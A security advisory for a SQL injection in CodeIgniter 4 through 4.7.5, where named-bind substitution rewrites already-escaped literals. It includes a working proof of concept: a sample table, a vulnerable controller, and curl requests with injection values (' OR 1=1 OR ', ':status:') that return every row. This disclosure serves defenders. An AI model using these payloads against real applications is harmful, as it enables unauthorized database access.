GHSA-25rf-99hr-7pmr: 
PHP vulnerability analysis and mitigation

Summary

Substitutes named bind placeholders (:name:) with a plain string replacement over the whole SQL text. Values that were already escaped and rendered into the SQL (subqueries compiled by the Query Builder, custom where() strings built with $db->escape(), WHERE binds of deleteBatch(), or manually escaped fragments in $db->query()) are scanned as well. An attacker who can place :name: into such a value, and who controls the value bound under that name, can break out of the string literal and execute arbitrary SQL.

Details

Query::matchNamedBinds() (system/Database/Query.php) builds a map of :name: to the escaped value and applies it with strtr() to the SQL. At that point, the SQL already contains literals produced by BaseConnection::escape(), so a literal such as ':status:' is treated as a placeholder. The escaped replacement is inserted between the quotes of that literal, which closes it early and leaves the bind value outside of any string literal. Bind names are column names, so they are easy to guess. The following code paths render a value into the SQL before the binds are substituted: a subquery passed as the value of where() or having(), union() and unionAll(), fromSubquery(), selectSubquery(), a custom where() or having() string built with $db->escape(), the WHERE conditions of deleteBatch(), and $db->query() with named binds mixed with manually escaped fragments. A subquery passed to whereIn() is stored as a bind value and was not affected. insertBatch(), updateBatch(), and upsertBatch() do not substitute named binds and were not affected. Question mark binds were not affected because matchSimpleBinds() ignores markers inside quoted strings. deleteBatch() has a second variant of the same problem. BaseBuilder::_deleteBatch() (and the overrides in Postgre\Builder and OCI8\Builder) substituted the WHERE binds first and replaced the internal {:_table_:} token with the rendered batch rows afterwards. A WHERE bind value containing {:_table_:} therefore received the batch data inside its string literal, and attacker-controlled row values ended up outside of their own literals:

DELETE `users` FROM `users`
INNER JOIN (
SELECT 1 `id`, ' OR 1=1 -- ' `name`
) `data`
ON `users`.`id` = `data`.`id`
WHERE `users`.`status` = 'xSELECT 1 `id`, ' OR 1=1 -- ' `name`
y'

Proof of concept

Tested on CodeIgniter 4.7.5 with MySQL 8. Create the table:

CREATE TABLE users (
    id     INT AUTO_INCREMENT PRIMARY KEY,
    name   VARCHAR(50) NOT NULL,
    status VARCHAR(20) NOT NULL
);
INSERT INTO users (name, status) VALUES
    ('Alice', 'active'),
    ('Bob', 'active'),
    ('Mallory', 'disabled');

Controller app/Controllers/Poc.php:

<?php
namespace App\Controllers;
class Poc extends BaseController
{
    public function index()
    {
        $db = db_connect();
        $status = $this->request->getGet('status');
        $name   = $this->request->getGet('name');
        $byStatus = $db->table('users')->where('status', $status);
        $byName   = $db->table('users')->where('name', $name);
        return $this->response->setJSON(
            $byStatus->union($byName)->get()->getResultArray()
        );
    }
}

Route in app/Config/Routes.php:

$routes->get('poc', 'Poc::index');

Normal request:

curl 'http://localhost:8080/poc?status=active&name=Nobody'

returns Alice and Bob: [{"id":"1","name":"Alice","status":"active"},{"id":"2","name":"Bob","status":"active"}] Malicious request (the status value is " OR 1=1 OR ", the name value is ":status:"):

curl -G 'http://localhost:8080/poc' \
  --data-urlencode 'status= OR 1=1 OR ' \
  --data-urlencode 'name=:status:'

generates:

SELECT * FROM (SELECT * FROM `users` WHERE `status` = ' OR 1=1 OR ') `uwrp0`
UNION SELECT * FROM (SELECT * FROM `users` WHERE `name` = '' OR 1=1 OR '') `uwrp1`

The name literal in the second subquery has been split by the value of status, so the second subquery matches every row, and the response contains all three users, although neither value matches any row. With the fix, the second subquery keeps name = ':status:' and the response is [].

Impact

SQL injection (CWE-89). Affected applications running CodeIgniter through 4.7.5 that build a query in which one user-controlled value is rendered into the SQL as an escaped literal and another user-controlled value is bound by name in the same query. This covers subqueries passed to where(), having(), union(), fromSubquery(), and selectSubquery(), custom where() strings built with $db->escape(), deleteBatch() combined with where() (where the attacker must control a WHERE value and the batch row data), and $db->query() calls that mix named binds with manually escaped fragments. Plain where(), like(), whereIn(), insert() and update() calls were not affected. There is no workaround other than removing one of the two patterns from each affected query.